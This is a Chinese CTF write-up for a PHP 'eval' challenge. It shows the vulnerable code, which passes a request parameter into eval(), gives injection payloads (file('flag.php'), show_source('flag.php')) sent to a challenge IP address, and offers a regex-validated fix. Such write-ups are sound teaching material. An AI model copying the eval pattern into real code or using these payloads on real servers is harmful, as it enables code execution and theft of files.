当前位置: 首页 > news >正文

CTF--eval

一、原网页:

二、步骤:

1.代码分析:

<?phpinclude "flag.php"; // 引入一个文件,该文件可能定义了一些变量(例如 $flag)$a = @$_REQUEST['hello']; // 从用户请求中获取参数 'hello' 的值,并将其赋值给变量 $a// 使用 @ 抑制错误(如果 'hello' 参数不存在,不会报错)。eval( "var_dump($a);"); // 使用 eval() 执行动态生成的代码,// 将动态解析 $a 的内容,并将其作为 PHP 代码运行// eval() 是一个非常危险的函数,因为它会执行传入的字符串作为代码show_source(__FILE__); // 显示当前 PHP 文件的源代码// 这意味着攻击者可以直接看到整个文件的内容,包括敏感信息(如引入的 // flag.php 文件)
?>

2.通过hello参数传入代码:

117.72.52.127:12437/?hello=file('flag.php')

输入结果: 

 

或者:

117.72.52.127:12437/?hello=show_source('flag.php')

输入结果: 

三、修复代码漏洞:

源代码:

<?phpinclude "flag.php";$a = @$_REQUEST['hello'];eval( "var_dump($a);");show_source(__FILE__);
?>

修复后的代码: 

<?phpinclude "flag.php";$a = @$_REQUEST['hello']; if (is_string($a) && preg_match('/^[a-zA-Z0-9_]+$/', $a)) {var_dump($a);} else {echo "Invalid input.";}
?>

 修复后的代码分析:

<?phpinclude "flag.php";$a = @$_REQUEST['hello'];// 从用户请求中获取参数 'hello' 的值,并进行验证。// 验证 $a 是否为字符串,并且只包含预期的字符(例如字母和数字)。if (is_string($a) && preg_match('/^[a-zA-Z0-9_]+$/', $a)) {var_dump($a);// 安全地输出变量 $a 的值。} else {echo "Invalid input.";}// 不要在生产环境中显示源代码。// show_source(__FILE__); // 已移除
?>

 

相关文章:

  • 控制反转(IoC)和依赖注入(DI)实现及常用注解
  • 怎样利用 macOS 自带功能快速进行批量重命名文件教程
  • 服务器内存规格详解
  • 饭店管理系统(下篇):程序打包为exe给用户使用
  • 2. kubernetes操作概览
  • Gradle相关配置文件的关系、作用及使用方式
  • 【时时三省】(C语言基础)选择结构程序设计习题1
  • Python异步编程入门:Async/Await实战详解
  • vector常用的接口和底层
  • AI对话高阶玩法:解锁模型潜能的实用案例教程
  • 消息中间件面试题
  • 开源TTS项目GPT-SoVITS,支持跨语言合成、支持多语言~
  • java面向对象06:封装
  • cmd 终端输出乱码问题 |Visual Studio 控制台输出中文乱码解决
  • Day08【基于预训练模型分词器实现交互型文本匹配】
  • 考研数据结构之树与二叉树的应用:哈夫曼树、哈夫曼编码与并查集
  • JavaWeb开发 Servlet底层 从概念到HTTP请求 到web服务器再到servlet
  • ROS2 常用
  • How to run ERSEM
  • linux上安装vimplus 从零开始
  • 摩根大通任命杜峯为亚太区副主席,加码中国市场业务布局
  • 解放日报:这是一场需要定力和实力的“科技长征”
  • 跟着京剧电影游运河,京杭大运河沿线六城举行京剧电影展映
  • 北美票房|《罪人》遭媒体唱衰,好莱坞业内人士集体反击
  • 影子调查|23岁男子驾照拟注销背后的“被精神病”疑云
  • 高璞任中国一汽党委常委、副总经理